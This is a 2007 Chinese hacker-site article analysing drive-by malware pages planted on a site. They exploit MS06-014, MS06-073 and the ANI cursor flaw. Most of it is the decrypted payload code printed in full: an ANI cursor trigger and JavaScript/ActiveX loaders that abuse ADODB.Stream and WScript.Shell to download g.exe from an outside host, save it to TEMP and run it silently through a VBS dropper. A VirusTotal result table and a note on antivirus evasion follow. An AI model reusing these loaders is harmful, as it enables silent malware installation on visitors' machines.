您现在的位置: 骇客基地 >> 黑客文章 >> 漏洞研究 >> 正文

分析ANI智能网马挂马
骇客基地 阅读: 时间:2007-11-2 13:59:24 来源:www.hookbase.com
  
透彻分析MS06014+MS06073+MS07017智能网马挂马,文章是在breach那看到的,偶有点问题,想不清楚,等学好了再来分析下,文章很不错,看图就能知道!今天逛到http://www.fzlyl.cn/,发现被挂了好几个网马,想通知站长,却找不到联系地址,算了。经过测试发现,原来是MS06-014+MS06-073+MS07017(前段时间最流行的ANI漏洞);
挂了三个所谓的vip的加密网马,解密内容:

1、vip[1].htm



以下是代码片段:
<DIV style="CURSOR: url(ah.c)"></DIV>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>




2、vip1[1].htm


以下是代码片段:
<noscript>
<iframe src=*></iframe>
</noscript>
<script language="JavaScript">
<!--
document.writeln("<script>var ailian,zhan;ailian=\"<http://baobao3.slsbg.com/g.exe\";zhan=\"Microsoft.com\";try{var ado=(document.createElement(\"object\"));var d=1;ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");var e=1;var xml=ado.CreateObject(\"Microsoft.XMLHTTP\",\"\");var f=1;var ln=\"Ado\";var lzn=\"db.St\";var an=\"ream\";var g=1;var as=ado.createobject(ln+lzn+an,\"\");var h=1;xml.Open(\"GET\",ailian,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(zhan,2);as.close();var shell=ado.createobject(\"Shell.Application\",\"\");shell.Shellexecute(zhan,\"\",\"\",\"open\",0);}catch(e){};</script\>");
//-->
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>




3、vip2[1].htm
以下是代码片段:
<noscript>
<iframe src=*></iframe>
</noscript>
<script>
document.writeln("<script language=\"javaScript\">");
document.writeln("ZhanLang=\"http://baobao3.slsbg.com/g.exe\"");
document.writeln("ZhanLang1=\"Microsoft.com\"");
document.writeln("ZhanLang2=\"Microsoft.vbs\"");
document.writeln("ln=\"BD96C556-65A3-11D0-983A-00C04FC29E36\"");
document.writeln("function Log(QQ7999327)");
document.writeln("{");
document.writeln(" var log=document.createElement(\'p\');");
document.writeln("       log.innerHTML=QQ7999327;");
document.writeln("}");
document.writeln("function CreateO(o,n)");
document.writeln("{");
document.writeln(" var r=null;");
document.writeln(" try");
document.writeln("     {");
document.writeln("      eval(\'r=o.CreateObject(n)\')");
document.writeln("     }");
document.writeln(" catch(e)");
document.writeln("     {}");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("       {");
document.writeln("        eval(\'r=o.CreateObject(n,\"\")\')");
document.writeln("       }");
document.writeln("      catch(e)");
document.writeln("       {}");
document.writeln("     }");
document.writeln(" if(!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.CreateObject(n,\"\",\"\")\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("       {}");
document.writeln("     }");
document.writeln(" if (!r)");
document.writeln("    {");
document.writeln("     try");
document.writeln("       {");
document.writeln("        eval(\'r=o.GetObject(\"\",n)\')");
document.writeln("       }");
document.writeln("     catch(e)");
document.writeln("       {}");
document.writeln("    }");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.GetObject(n,\"\")\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("        {}");
document.writeln("     }");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.GetObject(n)\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("        {}");
document.writeln("     }");
document.writeln(" return(r);");
document.writeln("}");
document.writeln("function Go(a)");
document.writeln("{");
document.writeln(" Log(\'\');");
document.writeln(" Zhong=\"WScript.S\";");
document.writeln(" ZhongJieZhe=Zhong;");
document.writeln(" var s=CreateO(a,ZhongJieZhe+\"hell\");");
document.writeln(" var o=CreateO(a,\"ADODB.Stream\");");
document.writeln(" var ip=CreateO(a,\"ADODB.Stream\");");
document.writeln(" var e=s.Environment(\"Process\");");
document.writeln(" Log(\'\');");
document.writeln(" var url=ZhanLang;");
document.writeln(" var Lang=e.Item(\"TEMP\")+\"\\\\\"+ZhanLang1;");
document.writeln(" var Zhan=e.Item(\"TEMP\")+\"\\\\\"+ZhanLang2;");
document.writeln(" var vip=null;");
document.writeln(" var kn;");
document.writeln(" kn=\"Set Shell = CreateObject(\\\"Wscript.Shell\\\")\";");
document.writeln(" kn=kn+\"\\n\"+\"Shell.Run(\\\"\"+Lang+\"\\\")\";");
document.writeln(" kn=kn+\"\\n\"+\"set Shell=Nothing\";");
document.writeln(" ip.Mode=3;");
document.writeln(" ip.Open();");
document.writeln(" ip.Charset = \"GB2312\";");
document.writeln(" ip.Position = ip.Size;");
document.writeln(" ip.WriteText=kn;");
document.writeln(" ip.SaveToFile(Zhan,2);");
document.writeln(" try");
document.writeln("     {");
document.writeln("      vip=new XMLHttpRequest();");
document.writeln("     }");
document.writeln(" catch(e)");
document.writeln("    {");
document.writeln("     try");
document.writeln("       {");
document.writeln("        vip=new ActiveXObject(\"Microsoft.XMLHTTP\");");
document.writeln("       }");
document.writeln("     catch(e)");
document.writeln("       {");
document.writeln("        vip=new ActiveXObject(\"MSXML2.ServerXMLHTTP\");");
document.writeln("       }");
document.writeln("    }");
document.writeln(" if (!vip) return(0);");
document.writeln(" Log(\'\');");
document.writeln(" vip.open(\"GET\",url,false);");
document.writeln(" vip.send(null);");
document.writeln(" kn=vip.responseBody;");
document.writeln(" Log(\'\');");
document.writeln(" o.Type=1;");
document.writeln(" o.Mode=3;");
document.writeln(" o.Open();");
document.writeln(" o.Write(kn);");
document.writeln(" o.SaveToFile(Lang,2);");
document.writeln(" Log(\'\');");
document.writeln(" s.Run(Zhan,0);");
document.writeln("}");
document.writeln("function Exploit()");
document.writeln("{");
document.writeln(" var i=0;");
document.writeln(" var tt=new Array(\'{ln}\',\'{BD96C556-65A3-11D0-983A-00C04FC29E36}\',\'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}\',\'{0006F033-0000-0000-C000-000000000046}\',\'{0006F03A-0000-0000-C000-000000000046}\',\'{6e32070a-766d-4ee6-879c-c1fa91d2fc3}\',\'{6414512B-B978-451D-A0D8-FCFDF33E833C}\',\'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}\',\'{06723E09-F4C2-43c8-8358-09FCD1DB0766}\',\'{639F725F-1B2D-4831-A9FD-874847682010}\',\'{BA018599-1DB3-44f9-83B4-461454C84BF8}\',\'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}\',\'{E8CCCDDF-CA28-496b-B050-6C07C962476B}\',null);");
document.writeln("while (true)");
document.writeln("     { t=tt;");
document.writeln("       if (t==null)");
document.writeln("         {");
document.writeln("          return(0);");
document.writeln("         }");
document.writeln("       var a=null;");
document.writeln("       if (t.substring(0,1)==\'{\')");
document.writeln("         {");
document.writeln("          try{");
document.writeln("             a=document.createElement(\"object\");");
document.writeln("             a.setAttribute(\"classid\",\"clsid:\"+t.substring(1,t.length-1));");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       else");
document.writeln("         {");
document.writeln("          try{");
document.writeln("             a=new ActiveXObject(t);");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       if (a)");
document.writeln("         {");
document.writeln("          try");
document.writeln("            {");
document.writeln("             var b=CreateO(a,\"WScript.Shell\");");
document.writeln("             if (b)");
document.writeln("               {");
document.writeln("                Log(\'\');");
document.writeln("                Go(a);");
document.writeln("                return(0);");
document.writeln("               }");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       i++;");
document.writeln("      }");
document.writeln("    Log(\'\');");
document.writeln("}");
document.writeln(" Exploit()");
document.writeln("");
document.writeln("<\/script>");
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>


对所的木马g[1].exe上传到http://www.virustotal.com/en/indexf.html.得到如下:

Antivirus Version Update Result
AhnLab-V3 2007.5.30.0 05.30.2007 Win-Trojan/Hupigon.Gen
AntiVir 7.4.0.29 05.30.2007 HEUR/Malware
Authentium 4.93.8 05.23.2007 could be infected with an unknown virus
Avast 4.7.997.0 05.30.2007  no virus found
AVG 7.5.0.467 05.30.2007  no virus found
BitDefender 7.2 05.31.2007 BehavesLike:Win32.ExplorerHijack
CAT-QuickHeal 9.00 05.30.2007  no virus found
ClamAV devel-20070416 05.30.2007  no virus found
DrWeb 4.33 05.30.2007 DLOADER.Trojan
eSafe 7.0.15.0 05.30.2007 suspicious Trojan/Worm
eTrust-Vet 30.7.3678 05.30.2007  no virus found
Ewido 4.0 05.29.2007  no virus found
FileAdvisor 1 05.31.2007  no virus found
Fortinet 2.85.0.0 05.31.2007  no virus found
F-Prot 4.3.2.48 05.30.2007  no virus found
F-Secure 6.70.13030.0 05.30.2007  no virus found
Ikarus T3.1.1.8 05.30.2007 Trojan.Win32.Delf.vb
Kaspersky 4.0.2.24 05.31.2007  no virus found
McAfee 5042 05.30.2007  no virus found
Microsoft 1.2503 05.31.2007  no virus found
NOD32v2 2299 05.30.2007 probably a variant of Win32/Genetik
Norman 5.80.02 05.30.2007  no virus found
Panda 9.0.0.4 05.30.2007 Suspicious file
Prevx1 V2 05.31.2007  no virus found
Sophos 4.18.0 05.28.2007  no virus found
Sunbelt 2.2.907.0 05.30.2007  no virus found
Symantec 10 05.31.2007  no virus found
TheHacker 6.1.6.126 05.30.2007  no virus found
VBA32 3.12.0 05.30.2007 suspected of Backdoor.GrayBird.1 (paranoid heuristics)
VirusBuster 4.3.23:9 05.30.2007  no virus found
Webwasher-Gateway 6.0.1 05.31.2007 Heuristic.Malware


过Kaspersky、McAfee、AVG等杀毒软件,看来还是做了些免杀动作的。
今天广告
参与评论:
注意事项:
【分析ANI智能网马挂马】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号